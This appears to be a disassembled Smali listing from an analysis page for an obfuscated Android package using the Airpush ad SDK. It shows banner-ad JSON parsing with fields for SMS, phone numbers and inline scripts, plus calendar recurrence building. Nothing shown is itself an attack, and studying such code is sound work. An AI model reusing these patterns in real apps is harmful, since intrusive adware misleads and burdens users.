12 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->context:Landroid/content/Context; | |
14 | const-string v6, "Parsing banner json" | |
16 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
18 | const-string v1, "invalid" | |
20 | const-string v6, "error" | |
22 | invoke-virtual {p2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
23 | move-result v6 | |
24 | if-eqz v6, :cond_61 | |
25 | move v6, v7 | |
26 | goto_14: iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isErrorReport:Z | |
28 | const-string v6, "status" | |
30 | invoke-virtual {p2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
31 | move-result v6 | |
32 | if-eqz v6, :cond_68 | |
33 | move v5, v7 | |
34 | goto_1f: | |
35 | const-string v6, "message" | |
37 | invoke-virtual {p2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
38 | move-result v6 | |
39 | if-eqz v6, :cond_6f | |
40 | move-object v4, v1 | |
41 | goto_28: | |
42 | const-string v6, "adtype" | |
44 | invoke-virtual {p2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
45 | move-result v6 | |
46 | if-eqz v6, :cond_76 | |
47 | move-object v6, v1 | |
48 | goto_31: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->adtype:Ljava/lang/String; | |
50 | const-string v6, "banner_type" | |
52 | invoke-virtual {p2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
53 | move-result-object v6 | |
54 | iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->bannerType:Ljava/lang/String; | |
55 | const/16 v6, 0xc8 | |
56 | if-ne v5, v6, :cond_60 | |
58 | const-string v6, "Success" | |
60 | invoke-virtual {v4, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
61 | move-result v6 | |
62 | if-eqz v6, :cond_60 | |
64 | const-string v6, "data" | |
66 | invoke-virtual {p2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
67 | move-result v6 | |
68 | if-eqz v6, :cond_7d | |
70 | const-string v0, "nodata" | |
71 | goto_51: | |
72 | const-string v6, "nodata" | |
74 | invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
75 | move-result v6 | |
76 | if-eqz v6, :cond_84 | |
78 | const-string v6, "AirplaySDK" | |
80 | const-string v8, "No data is not found in JSON." | |
82 | invoke-static {v6, v8}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
83 | goto_60: return v7 | |
84 | cond_61: | |
85 | const-string v6, "error" | |
87 | invoke-virtual {p2, v6}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z |
|
88 | move-result v6 | |
89 | goto/16 :goto_14 | |
90 | cond_68: | |
91 | const-string v6, "status" | |
93 | invoke-virtual {p2, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
94 | move-result v5 | |
95 | goto/16 :goto_1f | |
96 | cond_6f: | |
97 | const-string v6, "message" | |
99 | invoke-virtual {p2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
100 | move-result-object v4 | |
101 | goto/16 :goto_28 | |
102 | cond_76: | |
103 | const-string v6, "adtype" | |
105 | invoke-virtual {p2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
106 | move-result-object v6 | |
107 | goto/16 :goto_31 | |
108 | cond_7d: | |
109 | const-string v6, "data" | |
111 | invoke-virtual {p2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
112 | move-result-object v0 | |
113 | goto/16 :goto_51 | |
114 | cond_84: new-instance v3, Lorg/json/JSONObject; | |
116 | invoke-direct {v3, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
118 | const-string v6, "url" | |
120 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
121 | move-result v6 | |
122 | if-eqz v6, :cond_173 | |
123 | move-object v6, v1 | |
124 | goto_92: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->url:Ljava/lang/String; | |
126 | const-string v6, "title" | |
128 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
129 | move-result v6 | |
130 | if-eqz v6, :cond_17b | |
131 | goto_9c: iput-object v1, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->title:Ljava/lang/String; | |
133 | const-string v6, "adimage" | |
135 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
136 | move-result v6 | |
137 | if-eqz v6, :cond_183 | |
139 | const-string v6, "" | |
140 | goto_a8: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->adimage:Ljava/lang/String; | |
142 | const-string v6, "creativeid" | |
144 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
145 | move-result v6 | |
146 | if-eqz v6, :cond_18b | |
148 | const-string v6, "" | |
149 | goto_b4: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->creativeId:Ljava/lang/String; | |
151 | const-string v6, "campaignid" | |
153 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
154 | move-result v6 | |
155 | if-eqz v6, :cond_193 | |
157 | const-string v6, "" | |
158 | goto_c0: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->campaignId:Ljava/lang/String; | |
160 | const-string v6, "sms" | |
162 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
163 | move-result v6 | |
164 | if-eqz v6, :cond_19b | |
166 | const-string v6, "" | |
167 | goto_cc: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->sms:Ljava/lang/String; | |
169 | const-string v6, "number" | |
171 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
172 | move-result v6 | |
173 | if-eqz v6, :cond_1a3 | |
175 | const-string v6, "" | |
176 | goto_d8: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->number:Ljava/lang/String; | |
178 | const-string v6, "banner_bg" | |
180 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
181 | move-result v6 | |
182 | if-eqz v6, :cond_1ab | |
184 | const-string v6, "#000000" | |
185 | goto_e4: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->banner_bg:Ljava/lang/String; | |
187 | const-string v6, "text_color" | |
189 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
190 | move-result v6 | |
191 | if-eqz v6, :cond_1b3 | |
193 | const-string v6, "#FFFFFF" | |
194 | goto_f0: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->textColor:Ljava/lang/String; | |
196 | const-string v6, "text" | |
198 | invoke-virtual {p3, v6}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z |
|
199 | move-result v6 | |
200 | if-eqz v6, :cond_12c | |
202 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->textColor:Ljava/lang/String; | |
204 | const-string v9, "" | |
206 | invoke-virtual {v6, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
207 | move-result v6 | |
208 | if-eqz v6, :cond_113 | |
210 | const-string v6, "#FFFFFF" | |
211 | iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->textColor:Ljava/lang/String; | |
213 | const-string v6, "#000000" | |
214 | iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->banner_bg:Ljava/lang/String; | |
216 | const-string v6, "AirpushMraid" | |
218 | const-string v9, "Text color missing" | |
220 | invoke-static {v6, v9}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I |
|
221 | cond_113: | |
222 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->banner_bg:Ljava/lang/String; | |
224 | const-string v9, "" | |
226 | invoke-virtual {v6, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
227 | move-result v6 | |
228 | if-eqz v6, :cond_12c | |
230 | const-string v6, "#FFFFFF" | |
231 | iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->textColor:Ljava/lang/String; | |
233 | const-string v6, "#000000" | |
234 | iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->banner_bg:Ljava/lang/String; | |
236 | const-string v6, "AirpushMraid" | |
238 | const-string v9, "Banner bg missing" | |
240 | invoke-static {v6, v9}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I |
|
241 | cond_12c: | |
242 | const-string v6, "text" | |
244 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
245 | move-result v6 | |
246 | if-eqz v6, :cond_1bb | |
248 | const-string v6, "" | |
249 | goto_136: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->text:Ljava/lang/String; | |
251 | const-string v6, "api_url" | |
253 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
254 | move-result v6 | |
255 | if-eqz v6, :cond_1c3 | |
257 | const-string v6, "" | |
258 | goto_142: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->api_url:Ljava/lang/String; | |
260 | const-string v6, "istag" | |
262 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
263 | move-result v6 | |
264 | if-eqz v6, :cond_1cb | |
265 | move v2, v7 | |
266 | goto_14d: packed-switch v2, :pswitch_data_216 | |
267 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd:Z | |
268 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd:Z | |
269 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript:Z | |
270 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl:Z | |
271 | goto_158: | |
272 | const-string v6, "tag" | |
274 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
275 | move-result v6 | |
276 | if-eqz v6, :cond_205 | |
278 | const-string v6, "" | |
279 | goto_162: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->tag:Ljava/lang/String; | |
281 | const-string v6, "refreshtime" | |
283 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
284 | move-result v6 | |
285 | if-eqz v6, :cond_20d | |
286 | const/16 v6, 0x2d | |
287 | goto_16e: iput v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->refreshTime:I | |
288 | move v7, v8 | |
289 | goto/16 :goto_60 | |
290 | cond_173: | |
291 | const-string v6, "url" | |
293 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
294 | move-result-object v6 | |
295 | goto/16 :goto_92 | |
296 | cond_17b: | |
297 | const-string v6, "title" | |
299 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
300 | move-result-object v1 | |
301 | goto/16 :goto_9c | |
302 | cond_183: | |
303 | const-string v6, "adimage" | |
305 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
306 | move-result-object v6 | |
307 | goto/16 :goto_a8 | |
308 | cond_18b: | |
309 | const-string v6, "creativeid" | |
311 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
312 | move-result-object v6 | |
313 | goto/16 :goto_b4 | |
314 | cond_193: | |
315 | const-string v6, "campaignid" | |
317 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
318 | move-result-object v6 | |
319 | goto/16 :goto_c0 | |
320 | cond_19b: | |
321 | const-string v6, "sms" | |
323 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
324 | move-result-object v6 | |
325 | goto/16 :goto_cc | |
326 | cond_1a3: | |
327 | const-string v6, "number" | |
329 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
330 | move-result-object v6 | |
331 | goto/16 :goto_d8 | |
332 | cond_1ab: | |
333 | const-string v6, "banner_bg" | |
335 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
336 | move-result-object v6 | |
337 | goto/16 :goto_e4 | |
338 | cond_1b3: | |
339 | const-string v6, "text_color" | |
341 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
342 | move-result-object v6 | |
343 | goto/16 :goto_f0 | |
344 | cond_1bb: | |
345 | const-string v6, "text" | |
347 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
348 | move-result-object v6 | |
349 | goto/16 :goto_136 | |
350 | cond_1c3: | |
351 | const-string v6, "api_url" | |
353 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
354 | move-result-object v6 | |
355 | goto/16 :goto_142 | |
356 | cond_1cb: | |
357 | const-string v6, "istag" | |
359 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
360 | move-result v2 | |
361 | goto/16 :goto_14d | |
362 | pswitch_1d3: iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd:Z | |
363 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd:Z | |
364 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript:Z | |
365 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl:Z | |
366 | goto/16 :goto_158 | |
367 | pswitch_1dd: iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd:Z | |
368 | iput-boolean v8, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd:Z | |
369 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript:Z | |
370 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl:Z | |
371 | goto/16 :goto_158 | |
372 | pswitch_1e7: iput-boolean v8, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd:Z | |
373 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd:Z | |
374 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript:Z | |
375 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl:Z | |
376 | goto/16 :goto_158 | |
377 | pswitch_1f1: iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd:Z | |
378 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd:Z | |
379 | iput-boolean v8, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript:Z | |
380 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl:Z | |
381 | goto/16 :goto_158 | |
382 | pswitch_1fb: iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd:Z | |
383 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd:Z | |
384 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript:Z | |
385 | iput-boolean v8, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl:Z | |
386 | goto/16 :goto_158 | |
387 | cond_205: | |
388 | const-string v6, "tag" | |
390 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
391 | move-result-object v6 | |
392 | goto/16 :goto_162 | |
393 | cond_20d: | |
394 | const-string v6, "refreshtime" | |
396 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
397 | move-result v6 | |
398 | goto/16 :goto_16e | |
399 | nop |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | new-instance v0, Ljava/lang/StringBuilder; | |
3 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
4 | try_start_5: | |
5 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->frequency:Ljava/lang/String; | |
6 | if-eqz v2, :cond_31 | |
8 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->frequency:Ljava/lang/String; | |
10 | const-string v3, "" | |
12 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
13 | move-result v2 | |
14 | if-nez v2, :cond_31 | |
15 | new-instance v2, Ljava/lang/StringBuilder; | |
17 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
19 | const-string v3, "FREQ=" | |
21 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
22 | move-result-object v2 | |
24 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->frequency:Ljava/lang/String; | |
26 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
27 | move-result-object v2 | |
29 | const-string v3, ";" | |
31 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
32 | move-result-object v2 | |
34 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
35 | move-result-object v2 | |
37 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
38 | cond_31: iget-short v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->interval:S | |
39 | if-eqz v2, :cond_53 | |
40 | new-instance v2, Ljava/lang/StringBuilder; | |
42 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
44 | const-string v3, "INTERVAL=" | |
46 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
47 | move-result-object v2 | |
48 | iget-short v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->interval:S | |
50 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
51 | move-result-object v2 | |
53 | const-string v3, ";" | |
55 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
56 | move-result-object v2 | |
58 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
59 | move-result-object v2 | |
61 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
62 | cond_53: | |
63 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->expires:Ljava/lang/String; | |
64 | if-eqz v2, :cond_83 | |
66 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->expires:Ljava/lang/String; | |
68 | const-string v3, "" | |
70 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
71 | move-result v2 | |
72 | if-nez v2, :cond_83 | |
73 | new-instance v2, Ljava/lang/StringBuilder; | |
75 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
77 | const-string v3, "UNTIL=" | |
79 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
80 | move-result-object v2 | |
82 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->expires:Ljava/lang/String; | |
84 | invoke-virtual {p0, v3}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->getDate(Ljava/lang/String;)Ljava/lang/String; | |
85 | move-result-object v3 | |
87 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
88 | move-result-object v2 | |
90 | const-string v3, ";" | |
92 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
93 | move-result-object v2 | |
95 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
96 | move-result-object v2 | |
98 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
99 | cond_83: | |
100 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->daysInWeek:[S | |
101 | if-eqz v2, :cond_a9 | |
102 | new-instance v2, Ljava/lang/StringBuilder; | |
104 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
106 | const-string v3, "BYDAY=" | |
108 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
109 | move-result-object v2 | |
111 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->daysInWeek:[S | |
113 | invoke-virtual {p0, v3}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->getDate([S)Ljava/lang/String; | |
114 | move-result-object v3 | |
116 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
117 | move-result-object v2 | |
119 | const-string v3, ";" | |
121 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
122 | move-result-object v2 | |
124 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
125 | move-result-object v2 | |
127 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
128 | cond_a9: | |
129 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->daysInMonth:[S | |
130 | if-eqz v2, :cond_cb | |
131 | new-instance v2, Ljava/lang/StringBuilder; | |
133 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
135 | const-string v3, "BYMONTHDAY=" | |
137 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
138 | move-result-object v2 | |
140 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->daysInMonth:[S | |
142 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
143 | move-result-object v2 | |
145 | const-string v3, ";" | |
147 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
148 | move-result-object v2 | |
150 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
151 | move-result-object v2 | |
153 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
154 | cond_cb: | |
155 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->daysInYear:[S | |
156 | if-eqz v2, :cond_ed | |
157 | new-instance v2, Ljava/lang/StringBuilder; | |
159 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
161 | const-string v3, "BYYEARDAY=" | |
163 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
164 | move-result-object v2 | |
166 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->daysInYear:[S | |
168 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
169 | move-result-object v2 | |
171 | const-string v3, ";" | |
173 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
174 | move-result-object v2 | |
176 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
177 | move-result-object v2 | |
179 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
180 | cond_ed: | |
181 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->weeksInMonth:[S | |
182 | if-eqz v2, :cond_10f | |
183 | new-instance v2, Ljava/lang/StringBuilder; | |
185 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
187 | const-string v3, "BYWEEKNO=" | |
189 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
190 | move-result-object v2 | |
192 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->weeksInMonth:[S | |
194 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
195 | move-result-object v2 | |
197 | const-string v3, ";" | |
199 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
200 | move-result-object v2 | |
202 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
203 | move-result-object v2 | |
205 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
206 | cond_10f: | |
207 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->monthsInYear:[S | |
208 | if-eqz v2, :cond_131 | |
209 | new-instance v2, Ljava/lang/StringBuilder; | |
211 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
213 | const-string v3, "BYMONTH=" | |
215 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
216 | move-result-object v2 | |
218 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->monthsInYear:[S | |
220 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
221 | move-result-object v2 | |
223 | const-string v3, ";" | |
225 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
226 | move-result-object v2 | |
228 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
229 | move-result-object v2 | |
231 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
232 | cond_131: new-instance v2, Ljava/lang/StringBuilder; | |
234 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
236 | const-string v3, "Rrule: " | |
238 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
239 | move-result-object v2 | |
241 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
242 | move-result-object v3 | |
244 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
245 | move-result-object v2 | |
247 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
248 | move-result-object v2 | |
250 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
251 | goto_14b: | |
252 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
253 | move-result-object v2 | |
